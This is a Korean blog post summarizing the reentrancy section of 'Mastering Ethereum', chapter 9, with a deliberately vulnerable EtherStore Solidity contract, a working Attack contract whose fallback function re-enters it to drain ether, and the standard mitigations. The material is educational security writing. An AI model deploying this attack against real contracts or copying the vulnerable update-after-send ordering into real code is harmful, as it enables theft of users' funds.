[마스터링 이더리움] 9장 스마트 컨트랙트 보안 - 패턴1 재진입성

in #kr5 years ago

9장 스마트 컨트랙트의 보안에 대한 매우 중요한 챕터입니다. 정말 마스터링 이더리움의 보안관련 내용은 최고입니다! 그런데 번역본은 실망입니다. 번역자들이 블록체인에 대한 지식이 없는 것처럼 느껴지는 순간이 매우 많습니다.

스마트 컨트랙트 보안에 대해 깊이 파고 싶으시면 꼭 원서를 보십시오. 번역서는 ....


스마트 컨트랙트의 코딩은 어렵지 않습니다. 하지만 이것은 단순히 구현할 때의 얘기입니다. 대충 구현한 컨트랙트는 분명히 보안 이슈가 발생할 것입니다. 9장 내용은 지금까지 발견된 스마트 컨트랙트의 주요 보안 이슈와 이를 예방하는 패턴에 대한 내용입니다.
매우 매우 중요한 챕터입니다. 그래서 패턴들을 하나 하나 살펴보겠습니다.

스마트 컨트랙트 보안 모범 사례

  • 간결하고 적은 코딩
  • 검증된 라이브러리, 코드 사용
  • Dapp개발은 엄격한 엔지니어링, 소프트웨어 방법론 적용이 필요 (배포되고 나면 문제 해결 못함)
  • 모든 것을 테스트하라!

패턴1. 재진입성

  • 이더리움 컨트랙트의 특징은 다른 외부 컨트랙트의 코드를 호출해서 활용하는 것!
  • 그러나 해커는 컨트랙트의 콜백함수를 통하여 해킹 코드를 실행할 수는 가능성 존재.
  • DAO 사례가 대표적인 임
  • 재진입성(reentrancy)라는 용어는, 해킹 코드가 보안에 취약한 컨트랙트의 함수를 호출한다는 의미를 나타낸다. 해킹이 해커의 코드 호출로 발생하는 것이 아니라, 다시 취약성을 갖는 컨트랙트로 "재진입"하여 발생한다

취약 패턴

  • 컨트랙트가 알 수 없는 주소로 이더를 전송하는 기능이 있음
  • 해커는 폴백(fallback) 함수에 해킹 코드를 삽입한 해킹 컨트랙트를 생성
  • 컨트랙트가 이 해킹 컨트랙트로 이더를 보내면 해킹 코드가 호출됨

코드 예: 컨트랙트의 잔액 업데이트를 이더 전송 후 실행하는 경우

// 보안 취약 컨트랙트
1 contract EtherStore {
2
3   uint256 public withdrawalLimit = 1 ether;
4   mapping(address => uint256) public lastWithdrawTime;
5   mapping(address => uint256) public balances;
6
7   function depositFunds() public payable {
8     balances[msg.sender] += msg.value;
9   }
10
11  function withdrawFunds (uint256 _weiToWithdraw) public {
12    require(balances[msg.sender] >= _weiToWithdraw);
13    // limit the withdrawal
14    require(_weiToWithdraw <= withdrawalLimit);
15    // limit the time allowed to withdraw
16    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
17    require(msg.sender.call.value(_weiToWithdraw)());
18    balances[msg.sender] -= _weiToWithdraw;
19    lastWithdrawTime[msg.sender] = now;
20  }
21 }
// 해킹 컨트랙트
1 import "EtherStore.sol";
2
3 contract Attack {
4   EtherStore public etherStore;
5
6   // intialize the etherStore variable with the contract address
7   constructor(address _etherStoreAddress) {
8     etherStore = EtherStore(_etherStoreAddress);
9   }
10
11  function attackEtherStore() public payable {
12    // attack to the nearest ether
13    require(msg.value >= 1 ether);
14    // send eth to the depositFunds() function
15    etherStore.depositFunds.value(1 ether)();
16    // start the magic
17    etherStore.withdrawFunds(1 ether);
18  }
19
20  function collectEther() public {
21    msg.sender.transfer(this.balance);
22  }
23
24  // fallback function - where the magic happens
25  function () payable {
26    if (etherStore.balance > 1 ether) {
27      etherStore.withdrawFunds(1 ether);
28    }
29  }
30 }

코드 취약 발생 흐름 요약

  • 보안 취약 컨트랙트 17행에서 해킹 컨트랙트로 이더를 전송
  • 이것은 해킹 컨트랙트의 25행 폴백함수를 호출
  • 해킹 컨트랙트의 폴백함수에서 다시 취약 컨트랙트의 withdrawFunds함수 호출하여 컨트랙트 "재진입"
  • 취약 컨트랙트의 withdrawFunds함수가 다시 호출되고, 18행이 아직 실행되지 않았기 때문에, 잔액 감소가 없기 때문에 요구사항 모두 통과하여 다시 해킹 컨트랙트에 이더를 전송!

문제는 외부로 이더를 전송하는 함수 다음에 잔액 상태를 업데이트하는 코드 때문에 발생
DAO는 이와 같은 재진입성 보안 문제로 발생!

예방기법

  1. 이더를 외부로 보낼 때는 내장 함수인 transfer 함수를 사용하라. 왜냐하면 transfer함수는 호출할 때 2300개의 최대 가스를 사용하도록 하는데, 호출되는 컨트랙트의 코드 실행이 이 가스한도를 넘어서면, 호출이 실패하기 때문. 하지만 2300 가스 이하로 호출되는 악성 코드에는 위험성 여전히 존재

  2. 이더가 전송되기 전에 잔액 상태 변수를 변경시키는 로직 설계. 알 수 없는 외부 주소로 이더를 보내는 작업은 제일 마지막에 하는 것이 안전.

  3. 뮤텍스 도입. 운영체제 구현에 자주 사용되는 변수 상태를 잠그는 기법 사용. 외부로 이더를 전송하기 전에 뮤텍스 변수를 잠그고, 함수 초반에 이 뮤텍스 변수가 잠가져 있으면 함수 실행이 안되도록 함. 외부 전송이 완료되면 뮤텍스 변수를 잠금해제 시킴.

Coin Marketplace

STEEM 0.20
TRX 0.13
JST 0.029
BTC 65834.37
ETH 3292.65
USDT 1.00
SBD 2.70